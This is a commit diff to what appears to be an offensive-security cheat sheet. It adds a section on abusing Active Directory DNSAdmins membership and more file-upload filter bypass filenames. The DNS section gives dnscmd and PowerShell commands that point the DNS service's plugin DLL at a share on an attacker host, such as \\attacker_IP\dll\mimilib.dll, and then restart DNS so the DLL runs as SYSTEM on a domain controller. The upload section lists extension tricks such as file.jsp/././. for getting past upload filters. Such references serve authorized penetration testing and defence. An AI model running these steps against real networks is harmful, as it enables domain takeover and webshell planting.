DNS Admins Group

Methodology and Resources/Active Directory Attack.md

@@ -84,6 +84,7 @@
       - [Certifried CVE-2022-26923](#certifried-cve-2022-26923)
       - [Pass-The-Certificate](#pass-the-certificate)
     - [Dangerous Built-in Groups Usage](#dangerous-built-in-groups-usage)
+    - [Abusing DNS Admins Group](#abusing-dns-admins-group)
     - [Abusing Active Directory ACLs/ACEs](#abusing-active-directory-aclsaces)
       - [GenericAll](#genericall)
       - [GenericWrite](#genericwrite)
@@ -2583,6 +2584,39 @@ Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccount
 ```
 
 
+### Abusing DNS Admins Group
+
+> It is possible for the members of the DNSAdmins group to load arbitrary DLL with the privileges of dns.exe (SYSTEM).
+
+:warning: Require privileges to restart the DNS service.
+
+* Enumerate members of DNSAdmins group
+    ```ps1
+    Get-NetGroupMember -GroupName "DNSAdmins"
+    Get-ADGroupMember -Identity DNSAdmins
+    ```
+* Change dll loaded by the DNS service
+    ```ps1
+    # with RSAT
+    dnscmd <servername> /config /serverlevelplugindll \\attacker_IP\dll\mimilib.dll
+    dnscmd 10.10.10.11 /config /serverlevelplugindll \\10.10.10.10\exploit\privesc.dll
+
+    # with DNSServer module
+    $dnsettings = Get-DnsServerSetting -ComputerName <servername> -Verbose -All
+    $dnsettings.ServerLevelPluginDll = "\attacker_IP\dll\mimilib.dll"
+    Set-DnsServerSetting -InputObject $dnsettings -ComputerName <servername> -Verbose
+    ```
+* Check the previous command success
+    ```ps1
+    Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll
+    ```
+* Restart DNS
+    ```ps1
+    sc \\dc01 stop dns
+    sc \\dc01 start dns
+    ```
+
+
 ### Abusing Active Directory ACLs/ACEs
 
 Check ACL for an User with [ADACLScanner](https://github.com/canix1/ADACLScanner).

Upload Insecure Files/README.md

@@ -65,7 +65,8 @@
     * Multiple dots : `file.php......` , in Windows when a file is created with dots at the end those will be removed.
     * Whitespace characters: `file.php%20`, `file.php%0d%0a.jpg`
     * Right to Left Override (RTLO): `name.%E2%80%AEphp.jpg` will became `name.gpj.php`.
-    * Slash: `file.php/`, `file.php.\`
+    * Slash: `file.php/`, `file.php.\`, `file.j\sp`, `file.j/sp`
+    * Multiple special characters: `file.jsp/././././.`
 - Mime type, change `Content-Type : application/x-php` or `Content-Type : application/octet-stream` to `Content-Type : image/gif`
     * `Content-Type : image/gif`
     * `Content-Type : image/png`
@@ -162,3 +163,4 @@ When a ZIP/archive file is automatically decompressed after the upload
 * [File Upload restrictions bypass - Haboob Team](https://www.exploit-db.com/docs/english/45074-file-upload-restrictions-bypass.pdf)
 * [File Upload - Mahmoud M. Awali / @0xAwali](https://docs.google.com/presentation/d/1-YwXl9rhzSvvqVvE_bMZo2ab-0O5wRNTnzoihB9x6jI/edit#slide=id.ga2ef157b83_1_0)
 * [IIS - SOAP](https://red.0xbad53c.com/red-team-operations/initial-access/webshells/iis-soap)
+* [Arbitrary File Upload Tricks In Java - pyn3rd](https://pyn3rd.github.io/2022/05/07/Arbitrary-File-Upload-Tricks-In-Java/)